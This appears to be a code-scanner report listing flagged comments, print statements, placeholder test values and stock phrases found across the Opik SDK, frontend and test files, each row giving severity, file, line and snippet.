| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 481 | # Step 2: Export all data types with limited results using direct function calls | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 756 | # Step 1: Create two datasets | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 903 | # Step 1: Create a test chat prompt | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 913 | # Step 2: Export chat prompt using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1001 | # Step 1: Prepare test data with experiments | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1008 | # Step 2: Export the project data (traces) using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 289 | # Step 3: Import traces using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 359 | # Step 3: Import datasets using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 438 | # Step 3: Import prompts using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 541 | # Step 3: Import all data types using direct function calls | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 790 | # Step 2: Create two experiments with different datasets | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 843 | # Step 3: Export experiments filtered by dataset1 | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 857 | # Step 4: Verify only experiment1 was exported. Files are named by | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 884 | # Step 5: Verify the exported experiment has the correct dataset | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 954 | # Step 3: Import chat prompt using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 1054 | # Step 3: Test import (experiments are automatically recreated) using direct function call | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 126 | # Step 1: Collect all dataset_item_id and dataset_item_data from experiment files | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 186 | # Step 2: Import datasets | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 238 | # Step 3: Get all imported dataset items and match by content | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 181 | # Step 1: If the URL is provided and active, update the configuration | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 186 | # Step 2: Check if the default local instance is active | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 217 | # Step 4: Ask user for URL if no valid local instance is found or approved | COMMENT |
| LOW | sdks/python/src/opik/configurator/configure.py | 198 | # Step 3: Ask user if they want to use the found local instance | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 44 | // Step 1: Get the resolved config through the public API | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 47 | // Step 2: Clear ALL env vars so only explicit config can provide values | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 58 | // Step 3: Pass resolved values as explicit config | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 68 | // Step 4: Verify explicit values are used (not defaults, not env) | COMMENT |
| LOW | sdks/typescript/tests/integration/connection.test.ts | 79 | // Step 5: Restore env vars | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 74 | // Step 1: create v1, pin it to envA via setPromptEnvironments, then push | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 101 | // Step 2: expand to both envs on v1's version. | COMMENT |
| LOW⚡ | …ript/tests/integration/api/prompt-environments.test.ts | 118 | // Step 3: move ownership exclusively to envB. | COMMENT |
| LOW⚡ | …ript/tests/integration/api/prompt-environments.test.ts | 127 | // Step 4: clear all environments. | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 40 | // Step 1: Create or get a dataset for customer support evaluations | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 72 | // Step 2: Create a prompt using the Prompt management system | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 95 | // Step 3: Set up evaluation metrics | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 110 | // Step 4: Evaluate the prompt against the dataset | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 133 | // Step 5: Display evaluation results | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 153 | // Step 6: Advanced usage - Create a new version of the prompt | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 180 | // Step 7: Re-evaluate with the improved prompt | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 215 | // Step 8: Retrieve prompt by name and version | COMMENT |
| LOW | …ks/typescript/examples/evaluate-prompt-with-metrics.ts | 233 | // Step 9: Format a prompt manually (without evaluation) | COMMENT |
| LOW | sdks/typescript/examples/evaluate-prompt-basic.ts | 12 | // Step 1: Get or create a dataset | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 28 | // Step 2: Create a prompt | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 36 | // Step 3: Create metrics | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 40 | // Step 4: Run evaluation | COMMENT |
| LOW⚡ | sdks/typescript/examples/evaluate-prompt-basic.ts | 50 | // Step 5: View results | COMMENT |
| LOW | sdks/typescript/src/opik/configure/src/nodejs/docs.ts | 216 | // Step 1: Context retrieval span | COMMENT |
| LOW | sdks/typescript/src/opik/configure/src/nodejs/docs.ts | 232 | // Step 2: LLM generation span | COMMENT |
| LOW | sdks/typescript/src/opik/configure/src/nodejs/docs.ts | 257 | // Step 3: Post-processing span | COMMENT |
| 48 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | opik.sh | 540 | # Check if either curl or wget is available | COMMENT |
| LOW | …ests/unit/evaluation/metrics/test_arguments_helpers.py | 66 | # Check if the `unused_kwarg` is present in the exception message | COMMENT |
| LOW | …/tests/library_integration/langchain/test_langgraph.py | 534 | # Check if the output contains either direct messages or wrapped in Command structure | COMMENT |
| LOW | …/tests/library_integration/langchain/test_langgraph.py | 1172 | # Check if question is ambiguous | COMMENT |
| LOW | sdks/python/tests/e2e_smoke/smoke_tests_runner.sh | 13 | # Check if any Python files were found | COMMENT |
| LOW | …ests/e2e_library_integration/harbor/test_harbor_e2e.py | 251 | # Print output for debugging visibility | COMMENT |
| LOW | sdks/python/tests/e2e/test_annotation_queue.py | 176 | # Add threads to queue | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 216 | # Set environment to disable rich output for better subprocess capture | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 267 | # Check if the directory was created | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 721 | # Check if it at least didn't create any files | COMMENT |
| LOW | sdks/python/src/opik/decorator/opik_args/helpers.py | 31 | # Check if a function has opik_args in its signature | COMMENT |
| LOW⚡ | …e_processing/preprocessing/attachments_preprocessor.py | 45 | # Check if it's an Update message - always process these | COMMENT |
| LOW⚡ | …e_processing/preprocessing/attachments_preprocessor.py | 49 | # Check if it's a Create message with end_time set - only process these | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/dataset.py | 79 | # Check if name is missing or empty | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/prompt.py | 64 | # Check if name is missing or empty | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/dataset.py | 207 | # Check if file already exists and should be skipped | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/experiment.py | 118 | # Check if file already exists and should be skipped | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/experiment.py | 338 | # Write files in parallel | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/prompt.py | 392 | # Check if file already exists and should be skipped | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/prompt.py | 503 | # Check if metadata is a dict and has "prompts" key | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/prompt.py | 590 | # Check if file should be skipped using the standard utility | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 171 | # Check if within date range | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 194 | # Check if there are more pages | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 499 | # Check if there are more pages | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/extraction.py | 662 | # Check if within date range | COMMENT |
| LOW | sdks/python/src/opik/cli/usage_report/utils.py | 219 | # Check if within date range | COMMENT |
| LOW | …ks/python/src/opik/integrations/harbor/opik_tracker.py | 179 | # Check if already patched | COMMENT |
| LOW | …n/src/opik/integrations/langchain/run_parse_helpers.py | 207 | # Check if the value was originally a quoted string | COMMENT |
| LOW⚡ | …n/src/opik/integrations/langchain/run_parse_helpers.py | 254 | # Check if it's a Command object (has a resume attribute) | COMMENT |
| LOW⚡ | …n/src/opik/integrations/langchain/run_parse_helpers.py | 257 | # Check if it's a serialized Command dict | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 260 | # Check if any child span has a GraphInterrupt output and use it for trace output | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 381 | # Check if the parent is a skipped LangGraph/LangChain root run. | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 522 | # Check if we have trace data (new trace) or distributed headers | COMMENT |
| LOW | …ider_usage_extractors/langchain_run_helpers/helpers.py | 116 | # Check if the current dictionary contains any or all of the candidate keys | COMMENT |
| LOW | …s/python/src/opik/integrations/llama_index/callback.py | 138 | # Check if the output for the last event is already available. | COMMENT |
| LOW | …s/python/src/opik/integrations/llama_index/callback.py | 253 | # Check if there's a pending root trace/span output update for this event. | COMMENT |
| LOW | …rations/bedrock/invoke_model/invoke_model_decorator.py | 80 | # Check if this is a structured aggregated response dataclass | COMMENT |
| LOW | sdks/python/src/opik/integrations/adk/opik_tracer.py | 337 | # Check if this response contains actual content (first token) | COMMENT |
| LOW | sdks/python/src/opik/evaluation/report.py | 113 | # Display results | COMMENT |
| LOW | sdks/python/src/opik/evaluation/report.py | 184 | # Display results | COMMENT |
| LOW⚡ | …/python/src/opik/evaluation/scorers/scorer_function.py | 39 | # Check if it has both dataset_item and task_outputs | COMMENT |
| LOW⚡ | …/python/src/opik/evaluation/scorers/scorer_function.py | 44 | # Check if it has at least one task_span parameter | COMMENT |
| LOW | sdks/python/src/opik/api_objects/validation_helpers.py | 31 | # Check if usage is already in backend format (from export/import) | COMMENT |
| LOW | sdks/python/src/opik/api_objects/opik_query_language.py | 498 | # Check if it's an escaped quote (doubled quote) | COMMENT |
| LOW | sdks/python/src/opik/api_objects/opik_query_language.py | 541 | # Check if the key is quoted | COMMENT |
| LOW | sdks/opik_optimizer/benchmarks/utils/task_runner.py | 710 | # Check if this dataset is handled by a package-specific agent/prompt wiring. | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_changelog.py | 122 | # Check if version actually changed from previous | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 58 | # Check if we're entering the Args section | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 64 | # Check if this is a new parameter (starts with word followed by colon) | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 230 | # Check if docstring ends on same line | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 253 | # Check if first line is raise NotImplementedError | COMMENT |
| LOW | sdks/opik_optimizer/scripts/generate_fern_docs.py | 495 | # Write the file | STRING |
| LOW | …ks/opik_optimizer/src/opik_optimizer/base_optimizer.py | 1434 | # Check if optimization failed (finish_reason = "error") | COMMENT |
| LOW | …izer/src/opik_optimizer/metrics/task_span/span_cost.py | 66 | # Check if span already has a cost calculated (e.g., from integration tracking) | COMMENT |
| LOW | sdks/opik_optimizer/src/opik_optimizer/core/results.py | 246 | # Check if it's a dict of ChatPrompts | COMMENT |
| LOW | sdks/opik_optimizer/src/opik_optimizer/core/results.py | 733 | # Check if it's a dict of ChatPrompts | COMMENT |
| LOW | sdks/opik_optimizer/src/opik_optimizer/core/results.py | 852 | # Check if initial score exists and is a number | COMMENT |
| LOW | …ptimizer/src/opik_optimizer/datasets/driving_hazard.py | 125 | # Check if dataset already has the correct number of items | COMMENT |
| LOW | …orithms/meta_prompt_optimizer/meta_prompt_optimizer.py | 283 | # Check if we should extract patterns from hall of fame | COMMENT |
| LOW | …algorithms/meta_prompt_optimizer/ops/halloffame_ops.py | 70 | # Check if score is high enough | COMMENT |
| 35 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tests_end_to_end/e2e/agents/known-failing/harness.ts | 39 | print(json.dumps({"passed": passed, "total": len(suite["items"])}))`; | CODE |
| HIGH | …/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 33 | print(formatted_prompt) | CODE |
| HIGH⚡ | …/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 44 | print(prompt.metadata) | CODE |
| HIGH⚡ | …/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 48 | print(formatted_prompt) | CODE |
| HIGH | …/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 65 | print(formatted_messages) | CODE |
| HIGH | …/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 76 | print(chat_prompt.metadata) | CODE |
| HIGH | …/v1/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 80 | print(formatted_messages) | CODE |
| HIGH | …nd/src/v1/pages/HomePageShared/GuardrailConfigCode.tsx | 51 | print("Guardrail failed:", e) | CODE |
| HIGH | …nd/src/v1/pages/HomePageShared/GuardrailConfigCode.tsx | 56 | print("Guardrail failed:", e)`} | CODE |
| HIGH | …-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx | 51 | print("Guardrail failed:", e) | CODE |
| HIGH | …-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx | 56 | print("Guardrail failed:", e)`} | CODE |
| HIGH | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 37 | print(formatted_prompt) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 50 | print(prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 54 | print(formatted_prompt) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 64 | print(prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 68 | print(formatted_prompt) | CODE |
| HIGH | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 87 | print(formatted_messages) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 100 | print(chat_prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 104 | print(formatted_messages) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 114 | print(chat_prompt.metadata) | CODE |
| HIGH⚡ | …/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx | 118 | print(formatted_messages) | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …tests/unit/runner/bridge_handlers/test_search_files.py | 16 | ["git", "config", "user.email", "test@test.com"], | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 23 | obj = {"name": "John Doe", "email": "john@example.com"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 29 | expected = {"name": "John Doe", "email": "john@example.com"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 34 | obj = {"name": "John Doe"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 44 | expected = {"name": "John Doe"} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 50 | "name": "John Doe", | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 66 | "name": "John Doe", | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 75 | obj = {"name": "John Doe", "age": 30} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 86 | expected = {"name": "John Doe", "age": 30} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 91 | obj = {"name": "John Doe", "email": "john@example.com", "age": 30} | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 165 | "name": "John Doe", | CODE |
| LOW⚡ | …/tests/unit/message_processing/test_encoder_helpers.py | 170 | "street": "123 Main Street", | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 102 | expected = {"name": "John Doe", "email": "[ANONYMIZED]", "age": 30} | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 148 | person = Person(name="John Doe", email="john@example.com", age=30) | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 149 | person.address["street"] = "123 Main Street" | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 397 | obj = {"email": "test@example.com", "name": "John Doe"} | CODE |
| LOW | …/tests/unit/message_processing/test_encoder_helpers.py | 409 | expected = {"email": "PREFIX_test@example.com_SUFFIX", "name": "John Doe"} | CODE |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 1230 | broken = _Experiment(id="placeholder") | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 59 | "email": "user@example.com", | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 60 | "profile": {"name": "John Doe", "phone": "555-1234"}, | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 60 | "profile": {"name": "John Doe", "phone": "555-1234"}, | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 72 | "data": "user@example.com", | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 77 | "data": "John Doe", | CODE |
| LOW⚡ | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 82 | "data": "555-1234", | CODE |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 422 | "name": "John Doe", | CODE |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 423 | "phone": "555-1234", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 88 | data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"} | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 88 | data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"} | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 93 | "name": "John Doe", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 118 | "name": "John Doe", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 128 | "name": "John Doe", | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 166 | {"name": "John Doe", "contacts": ["john@example.com", "123-456-7890"]}, | CODE |
| LOW⚡ | …/python/tests/unit/anonymizer/test_rules_anonymizer.py | 176 | {"name": "John Doe", "contacts": ["[EMAIL]", "[PHONE]"]}, | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 797 | 'created_by = "user@example.com"', | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 798 | [{"field": "created_by", "operator": "=", "value": "user@example.com"}], | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 801 | 'last_updated_by != "admin@example.com"', | CODE |
| LOW⚡ | …hon/tests/unit/api_objects/test_opik_query_language.py | 806 | "value": "admin@example.com", | CODE |
| LOW | …hon/tests/unit/api_objects/test_opik_query_language.py | 1037 | 'created_by ends_with "user@example.com"', | CODE |
| LOW | …hon/tests/unit/api_objects/test_opik_query_language.py | 1042 | "value": "user@example.com", | CODE |
| LOW | …thon/tests/library_integration/mistral/test_mistral.py | 563 | track_mistral(mistralai.Mistral(api_key="dummy-key")) | CODE |
| LOW | sdks/python/src/opik/api_objects/opik_client.py | 2596 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/python/src/opik/api_objects/opik_client.py | 2688 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/python/src/opik/api_objects/opik_client.py | 2799 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/python/src/opik/api_objects/prompt/client.py | 376 | - `created_by = "user@example.com"` - Filter by creator | STRING |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 272 | createdBy: "user@example.com", | CODE |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 370 | createdBy: "admin@example.com", | CODE |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 920 | createdBy: "user@example.com", | CODE |
| LOW | sdks/typescript/tests/unit/prompt/PromptVersion.test.ts | 937 | expect(version.createdBy).toBe("user@example.com"); | CODE |
| LOW | …/typescript/tests/unit/query/OpikQueryLanguage.test.ts | 526 | 'tags contains "production" and version_count > 1 and created_by = "user@example.com"' | CODE |
| LOW | …/typescript/tests/unit/query/OpikQueryLanguage.test.ts | 544 | value: "user@example.com", | CODE |
| LOW | …ypescript/tests/unit/client/client-agentConfig.test.ts | 22 | createdBy: "user@example.com", | CODE |
| LOW | …ypescript/tests/unit/client/client-agentConfig.test.ts | 329 | expect(blueprint.createdBy).toBe("user@example.com"); | CODE |
| LOW | …ks/typescript/tests/unit/client/client-prompts.test.ts | 858 | await client.searchPrompts('created_by = "user@example.com"'); | CODE |
| LOW | sdks/typescript/src/opik/client/Client.ts | 1650 | * const prompts = await client.searchPrompts('created_by = "user@example.com"'); | COMMENT |
| LOW | .agents/commands/comet/create-and-run-tests.md | 127 | .name("John Doe") | CODE |
| LOW | .agents/commands/comet/create-and-run-tests.md | 153 | const mockUser = { id: '1', name: 'John Doe', email: 'john@example.com' }; | CODE |
| LOW | .agents/commands/comet/create-and-run-tests.md | 160 | expect(screen.getByText('John Doe')).toBeInTheDocument(); | CODE |
| LOW | .agents/commands/comet/create-and-run-tests.md | 174 | request = UserCreateRequest(name="John Doe", email="john@example.com") | CODE |
| LOW | .agents/commands/comet/create-and-run-tests.md | 193 | const mockUser = { id: '1', name: 'John Doe' }; | CODE |
| LOW | .agents/commands/comet/create-and-run-tests.md | 200 | const result = await client.createUser({ name: 'John Doe' }); | CODE |
| 21 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | sdks/python/tests/unit/plugins/pytest/test_hooks.py | 4 | # TODO(#5219): move these tests to a public pytest plugin test harness/API. | COMMENT |
| MEDIUM | …on/tests/unit/cli/test_export_project_rate_limiting.py | 454 | # Bounded-chunk invariants (robust to the exact chunk boundary): | COMMENT |
| MEDIUM | …python/tests/library_integration/adk/test_adk_async.py | 346 | # below so the test stays robust against that model-side variability. | STRING |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 549 | # just use output as end arguments | COMMENT |
| LOW | sdks/python/src/opik/decorator/span_creation_handler.py | 131 | # In that case the decorator should just create a span for the existing trace. | COMMENT |
| MEDIUM | …ocessing/emulation/local_emulator_message_processor.py | 17 | """This class serves as a replacement for the real backend and collects all logged messages | STRING |
| LOW⚡ | …e_processing/preprocessing/attachments_preprocessor.py | 35 | # already pre-processed - just return the original message to avoid infinite recursion | COMMENT |
| MEDIUM | sdks/python/src/opik/cli/exports/utils.py | 138 | """Create a comprehensive experiment data structure for export.""" | STRING |
| LOW | …/src/opik/integrations/agentspec/opik_spanprocessor.py | 425 | # Async methods just call the sync versions | COMMENT |
| LOW | sdks/python/src/opik/rest_api/core/serialization.py | 180 | # then we can just pass the value through as is | COMMENT |
| MEDIUM | sdks/typescript/src/opik/prompt/versionHelpers.ts | 83 | // Use fast-deep-equal for robust structural comparison | COMMENT |
| LOW | …ithms/parameter_optimizer/test_sensitivity_analysis.py | 209 | # Should not crash, just use available data | COMMENT |
| MEDIUM | …pik_optimizer/scripts/datasets/build_bm25_wikipedia.py | 502 | # Generate comprehensive README | COMMENT |
| LOW | …k_optimizer/src/opik_optimizer/agents/litellm_agent.py | 87 | # If trying to delete logprobs and it doesn't exist, just return | COMMENT |
| LOW | …k_optimizer/src/opik_optimizer/agents/litellm_agent.py | 141 | # If trying to delete server_tool_use and it doesn't exist, just return | COMMENT |
| MEDIUM | tests_load/tests/test_image_inference.py | 920 | # Show comprehensive results | COMMENT |
| MEDIUM | tests_load/tests/test_image_inference.py | 829 | """Run comprehensive image generation tests across all available providers""" | STRING |
| MEDIUM | …to_end/e2e/tests/test-suites/test-suites-smoke.spec.ts | 51 | // Allow some slack: require at least 2/3 passing so the smoke is robust | COMMENT |
| MEDIUM | deployment/docker-compose/docker-compose.yaml | 95 | # Use Bitnami-compatible data directory for seamless migration from Bitnami images | COMMENT |
| MEDIUM | …opik/api/evaluators/AutomationRuleEvaluatorUpdate.java | 71 | // Service layer keeps both fields in sync for seamless migration | COMMENT |
| LOW | …opik-python-backend/src/opik_backend/studio/helpers.py | 57 | # Create client - it will read from the environment variables we just set | COMMENT |
| MEDIUM | apps/opik-frontend/package-lock.json | 16027 | "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/tests/e2e/test_guardrails.py | 49 | def test_function(): | CODE |
| LOW | sdks/python/tests/e2e/test_guardrails.py | 113 | def test_function(): | CODE |
| LOW | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 72 | def run_task(item: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 152 | def run_task(item: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 263 | def run_task(item: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | sdks/python/examples/dynamic_tracing_example.py | 49 | def process_data(data: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | sdks/python/examples/dynamic_tracing_example.py | 92 | def handle_request(prompt: str, user_type: str) -> str: | CODE |
| LOW | …tegrations/langchain/langgraph_async_context_bridge.py | 40 | def process_data(value: int) -> int: | STRING |
| LOW | sdks/opik_optimizer/benchmarks/utils/task_runner.py | 589 | def execute_task( | CODE |
| LOW | tests_load/suite/python_sdk/test_heavy_payload.py | 40 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_bursts.py | 39 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_bursts.py | 85 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_bursts.py | 144 | def handle_request(worker_id: int, prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_ingestion_rate.py | 43 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_attachments.py | 46 | def handle_request(prompt: str) -> str: | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …cessing/processors/attachments_extraction_processor.py | 129 | delete_after_upload=True, # make sure to delete attachments after upload to avoid leaking space and dat | CODE |
| MEDIUM | …etrics/conversation/heuristics/degeneration/phrases.py | 5 | "as an ai language model", | CODE |
| MEDIUM | …metrics/conversation/heuristics/degeneration/metric.py | 33 | phrases (for example, "as an AI language model..."). Each turn receives a | STRING |
| LOW⚡ | sdks/opik_optimizer/scripts/generate_fern_docs.py | 89 | # Don't forget to save the last parameter | COMMENT |
| LOW | extensions/cursor/src/cursor/sessionManager.ts | 429 | // Don't forget to add the last group | COMMENT |
| LOW | .github/workflows/update_helm_readme.yaml | 47 | echo "::error::Helm docs are out of date. Please run 'pre-commit run helm-docs --all-files' locally and commit | CODE |
| MEDIUM⚡ | …/IntegrationExplorer/components/QuickInstallDialog.tsx | 124 | "Please run the application and verify if Opik is capturing traces as expected. Let me know if you need adjustments." | CODE |
| LOW | …/src/api/datasets/useDatasetItemBatchDeleteMutation.ts | 62 | ? "The suite item has been removed. Don't forget to save your changes to create a new version." | CODE |
| LOW | …/src/api/datasets/useDatasetItemBatchDeleteMutation.ts | 63 | : "The suite items have been removed. Don't forget to save your changes to create a new version.", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | scripts/check_clickhouse_migrations_cluster.sh | 7 | # Usage: | COMMENT |
| LOW | scripts/analyze_trivy_report.sh | 5 | # Usage: | COMMENT |
| LOW | .github/scripts/send-slack-message.sh | 8 | # Usage: | COMMENT |
| LOW | .github/scripts/notify-slack-test-failure.sh | 14 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …ks/python/tests/unit/decorator/test_tracker_outputs.py | 690 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
